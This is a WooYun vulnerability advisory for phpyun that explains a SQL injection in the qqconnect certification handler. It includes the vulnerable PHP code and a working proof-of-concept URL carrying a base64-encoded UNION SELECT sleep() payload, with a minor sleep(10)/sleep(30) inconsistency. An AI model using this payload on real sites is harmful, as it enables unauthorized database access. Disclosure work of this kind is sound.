当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043229

漏洞标题:phpyun SQL注入

相关厂商:php云人才系统

漏洞作者: 猪头子

提交时间:2013-11-18 14:33

修复时间:2014-02-16 14:33

公开时间:2014-02-16 14:33

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-18: 细节已通知厂商并且等待厂商处理中
2013-11-18: 厂商已经确认,细节仅向厂商公开
2013-11-21: 细节向第三方安全合作伙伴开放
2014-01-12: 细节向核心白帽子及相关领域专家公开
2014-01-22: 细节向普通白帽子公开
2014-02-01: 细节向实习白帽子公开
2014-02-16: 细节向公众公开

简要描述:

处理不当导致注入,绕过waf

详细说明:

在/model/qqconnect.class.php文件中:

function cert_action(){
$id=$_GET['id'];
$arr=@explode("|",base64_decode($id));
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");
if(is_array($row)){
if($row[status]!=1){
$value.="`cert`=concat(`cert`,',1'),";
}
$id=$this->obj->DB_update_all("company_cert","`status`='1'","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");
if($_GET['type']=="3"){
$value.="`email`='".$row['check']."'";
$id?$this->obj->DB_update_all("lt_info",$value,"`uid`='".$arr[0]."' "):"";
}else{
$value.="`linkmail`='".$row['check']."'";
$id?$this->obj->DB_update_all("company",$value,"`uid`='".$arr[0]."' "):"";
}
$id?$this->obj->ACT_msg($this->config['sy_weburl']."/member","认证成功"):$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败,联系管理员认证");
}else{
$this->obj->ACT_msg($this->config['sy_weburl'],"认证失败,请检查来路","2");
}
}else{
$this->obj->ACT_msg($this->config['sy_weburl'],"非法操作!","2");
}
}


代码从$_GET中获取id参数然后base64解码后按|分隔,其中第0个元素和第1个元素进入了SQL查询,但在此之前有个判断:

if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){


这里$this->config['coding']默认为null,当我们只提交两个元素的数组时,$arr[2]也为null,因此$arr[2]==$this->config['coding'],条件成立进入判断所以注入发生:

if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
$row=$this->obj->DB_select_once("company_cert","`uid`='".$arr[0]."' and `check2`='".$arr[1]."'");


DB_select_once:

function DB_select_once($tablename, $where = 1, $select = "*") {
$cachename=$tablename.$where;
if(!$return=$this->Memcache_set($cachename)){
$SQL = "SELECT ".$select." FROM " . $this->def . $tablename . " WHERE ".$where." limit 1";
$query = $this->db->query($SQL);
$return=$this->db->fetch_array($query);
$this->Memcache_set($cachename,$return);
}
return $return;
}


query函数:

public function query($sql) {
if ($sql == "") {
$this->show_error("SQL语句错误:", "SQL查询语句为空");
}
$this->sql = $sql;
$result = mysql_query($this->sql, $this->conn);
if (!$result) {
//调试中使用,sql语句出错时会自动打印出来
if ($this->show_error) {
$this->show_error("错误SQL语句:", $this->sql);
}
} else {
$this->result = $result;
}
if(1==1){
global $starttime;
$dbbug_error2[]="<br>";
$dbbug_error2[sql]=$this->sql."<br>";
$dbbug_error2["time"]=$this->getmicrotime()-$starttime."<br>";
//$dbbug_error2[]="<br>";
//print_r($dbbug_error2);//查看sql语句
$this->debug=$dbbug_error;
}
return $this->result;
}

漏洞证明:

提交

http://www.evil.com/phpyun/index.php?M=qqconnect&C=cert&id=enR6JyBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksMiwzLDQsNSw2LDcsOCw5OyN8enR6


id是ztz' and 1=2 union select sleep(10),2,3,4,5,6,7,8,9;#|ztz的base64编码
拼接的SQL语句为:

SELECT * FROM phpyun_company_cert WHERE `uid`='ztz' and 1=2 union select sleep(30),2,3,4,5,6,7,8,9;#' and `check2`='ztz' limit 1


执行后sleep了30s

修复方案:

对base64解码后的值进行过滤

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-18 15:57

厂商回复:

感谢您的提供!我们会及时修复。

最新状态:

2013-11-18:您好,我们已经修复该漏洞!再次感谢!


漏洞评价:

评论

  1. 2013-11-18 14:50 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    waf本来就不能防sql注入啊

  2. 2013-11-18 14:56 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)

    @寂寞的瘦子 额说错。。准确的说是无视前端的过滤

  3. 2013-11-18 15:34 | Kavia ( 实习白帽子 | Rank:50 漏洞数:10 )

    这是要发啊!

  4. 2014-04-18 15:41 | evil_webshell ( 路人 | Rank:0 漏洞数:2 | 致力于web层面的安全,热爱黑客技术,正在...)

    学习了,涨姿势了